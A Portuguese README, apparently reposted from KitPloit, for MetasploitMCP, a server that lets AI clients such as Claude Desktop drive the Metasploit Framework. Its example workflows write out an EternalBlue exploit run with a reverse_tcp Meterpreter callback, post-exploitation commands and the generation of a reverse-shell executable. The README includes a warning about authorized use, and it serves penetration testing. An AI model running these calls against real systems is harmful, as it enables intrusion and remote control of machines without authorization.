MetasploitMCP

Servidor MCP para Metasploit

Gerenciamento de Sessões

• list_active_sessions: Mostrar sessões atuais do Metasploit com informações detalhadas
• send_session_command: Executar um comando em um shell ativo ou sessão Meterpreter
• terminate_session: Encerrar forçosamente uma sessão ativa

Gerenciamento de Handlers

• list_listeners: Mostrar todos os handlers ativos e jobs em segundo plano
• start_listener: Criar um novo multi/handler para receber conexões
• stop_job: Encerrar qualquer job ou handler em execução

Pré-requisitos

• Metasploit Framework instalado e msfrpcd em execução
• Python 3.10 ou superior
• Pacotes Python necessários (veja requirements.txt)

Instalação

1. Clone este repositório
2. Instale as dependências:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Configure as variáveis de ambiente (opcional):
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Uso

Inicie o serviço RPC do Metasploit:

Opções de Transporte

O servidor suporta dois métodos de transporte:

• HTTP/SSE (Server-Sent Events): Modo padrão para interoperabilidade com a maioria dos clientes MCP
• STDIO (Standard Input/Output): Usado com o Claude Desktop e conexões pipe diretas similares

Você pode selecionar explicitamente o modo de transporte usando a flag --transport:

Opções adicionais para o modo HTTP:

Integração com o Claude Desktop

Para integração com o Claude Desktop, configure o claude_desktop_config.json:

Outros Clientes MCP

Para outros clientes MCP que usam HTTP/SSE:

1. Inicie o servidor no modo HTTP:

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configure seu cliente MCP para conectar a:

   • Endpoint SSE: http://your-server-ip:8085/sse

Considerações de Segurança

⚠️ AVISO DE SEGURANÇA IMPORTANTE:

Esta ferramenta fornece acesso direto às capacidades do Metasploit Framework, que incluem recursos poderosos de exploração. Use com responsabilidade e apenas em ambientes onde você tenha permissão explícita para realizar testes de segurança.

• Sempre valide e revise todos os comandos antes da execução
• Execute apenas em ambientes de teste segregados ou com autorização adequada
• Esteja ciente de que comandos de pós-exploração podem resultar em modificações significativas no sistema

Fluxos de Trabalho de Exemplo

Exploração Básica

1. Liste exploits disponíveis: list_exploits("ms17_010")
2. Selecione e execute um exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Liste sessões: list_active_sessions()
4. Execute comandos: send_session_command(1, "whoami")

Pós-Exploração

1. Execute um módulo de pós-exploração: run_post_module("windows/gather/enum_logged_on_users", 1)
2. Envie comandos personalizados: send_session_command(1, "sysinfo")
3. Encerre quando terminar: terminate_session(1)

Gerenciamento de Handlers

1. Inicie um listener: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Liste handlers ativos: list_listeners()
3. Gere um payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Pare um handler: stop_job(1)

Testes

Este projeto inclui testes unitários e de integração abrangentes para garantir confiabilidade e manutenibilidade.

Pré-requisitos para Testes

Instale as dependências de teste:

Ou use o instalador conveniente:

Executando Testes

Comandos Rápidos

Suites de Teste Específicas

Opções de Teste

Estrutura de Teste

• tests/test_options_parsing.py: Testes unitários para a funcionalidade de análise de opções
• tests/test_helpers.py: Testes unitários para funções auxiliares internas e gerenciamento do cliente MSF
• tests/test_tools_integration.py: Testes de integração para todas as ferramentas MCP com backend Metasploit simulado
• conftest.py: Fixtures de teste compartilhadas e configuração
• pytest.ini: Configuração do Pytest com configurações de cobertura

Funcionalidades de Teste

• Mocking Abrangente: Todas as dependências do Metasploit são simuladas, então os testes são executados sem exigir uma instalação real do MSF
• Suporte Async: Suporte completo a testes async/await usando pytest-asyncio
• Relatório de Cobertura: Análise detalhada de cobertura com relatórios HTML
• Testes Parametrizados: Testes eficientes de múltiplos cenários de entrada
• Gerenciamento de Fixtures: Fixtures de teste reutilizáveis para cenários de configuração comuns

Relatórios de Cobertura

Após executar testes com cobertura, os relatórios estão disponíveis em:

• Terminal: Resumo da cobertura exibido após a execução do teste
• HTML: htmlcov/index.html (ao usar a opção --html)

Integração CI/CD

Para integração contínua:

Opções de Configuração

Diretório de Salvamento de Payload

Por padrão, os payloads gerados com generate_payload são salvos em um diretório payloads na sua pasta pessoal (~/payloads ou C:\Users\SeuUsuario\payloads). Você pode personalizar este local definindo a variável de ambiente PAYLOAD_SAVE_DIR.

Definindo a variável de ambiente:

• Windows (PowerShell):

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• In Claude Desktop config:

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

Nota: Se você especificar um caminho personalizado, certifique-se de que ele existe ou que o aplicativo tem permissão para criá-lo. Se o caminho for inválido, a geração do payload pode falhar.

Licença

Apache 2.0